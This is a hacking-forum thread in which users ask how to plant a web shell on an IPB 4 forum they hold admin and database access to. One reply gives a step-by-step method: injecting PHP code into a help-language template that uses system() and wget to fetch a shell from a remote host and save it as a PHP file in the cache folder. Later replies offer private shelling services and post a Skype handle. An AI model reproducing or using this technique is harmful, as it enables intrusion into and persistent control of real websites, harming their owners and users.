Thread: [\[URGENT\] How do I upload a shell to IPB 4 Forums, MYSQL + Admin access? \[URGENT\]](#)

Mr Kake - June 1, 2016, 2:12 pm

Hi there, I have MYSQL and Admin access to a IPB 4 forum and I was wondering how I could upload my shell? This is very critical so please help.

By MYSQL access what do you mean? Access to their database or access to a DBMS like phpma? if so what privileges is the mysql daemon running on, can it read/write files?

Login admin panel > Look and Feel > Manage Languages, choose language > section

(example) public_help

edit:

help.txt

Choose topic from list, or search for a topic

In right box add this code:

PHP Code

<?php

```
`${print $query='cd cache; wget http://link_to_shell/shell.txt; mv  
shell.txt shell.php'}`
```

```
`${system($query,$out)}`
```

```
`${print $out}`
```

When you add it, specify go on bottom.

Now we go on:

PHP Code

<?php

<http://www.site.com/index.php?app=core&module=help>

And your code.. done, and you will get your shell @

PHP Code

<?php

www.site.com/cache/shell.php

His method doesn't work that's why I'm not using it. I already PM'ed him about it.

Eraeus - December 30, 2016, 4:18 am

Nobody know how to shell on IPB4 ? (IPS Community Suite)

His method, as said Mr Kake work only on IPB 3.4.x but not on 4.x

I know that we can edit templates (HTML/CSS) and we have a SQL ToolBox, but I don't found any way to upload a shell.

I have an IPB4 to test, so if someone want/can help me, it will be great ;o

-Elusive- - December 31, 2016, 5:24 am

I have a method to shell IPS4 but it's private. I can do it for you if you want just pm me the details.

You can check my previous posts and rep for my trustworthiness.

lollmfaohaha - January 1, 2017, 5:05 am

what is the purpose of this shell

Eraeus - January 2, 2017, 8:39 am

Hi -Elusive-, I can't MP anyone at the moment sorry

But if you can, please add me at Skype

Skype : supimsyne

Eraeus - January 4, 2017, 6:59 am

Bump for this thread, no solution actually...

Anyone else has already succeeded on this kind of forum?

egyy - January 4, 2017, 10:46 am

Hey can you upload any sorts of files?? If so I have a method that just might work ;)
